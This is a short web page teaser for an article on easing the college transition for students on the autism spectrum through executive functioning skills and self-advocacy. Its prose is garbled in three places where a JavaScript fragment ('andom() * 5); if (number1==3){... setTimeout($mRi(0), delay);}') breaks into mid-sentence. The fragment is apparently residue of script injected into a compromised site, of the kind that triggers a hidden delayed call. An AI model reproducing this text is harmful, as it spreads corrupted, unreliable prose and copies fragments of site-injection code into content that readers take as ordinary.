A New Normal: Preparing Students on the Autism Spectrum for College

How can the transition to college be made easier, smoother, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and more enjoyable for young adults with Autism & learning differences?

It all begins with executive functioning andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and support from managing their time, advocating for themselves, to requesting accommodations in the classroom setting. When students develop executive functioning skills in the classroom it allows for a smoother transition, functions such as logic, strategy, planning, problem-solving, information processing, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and behavior control.

Read the article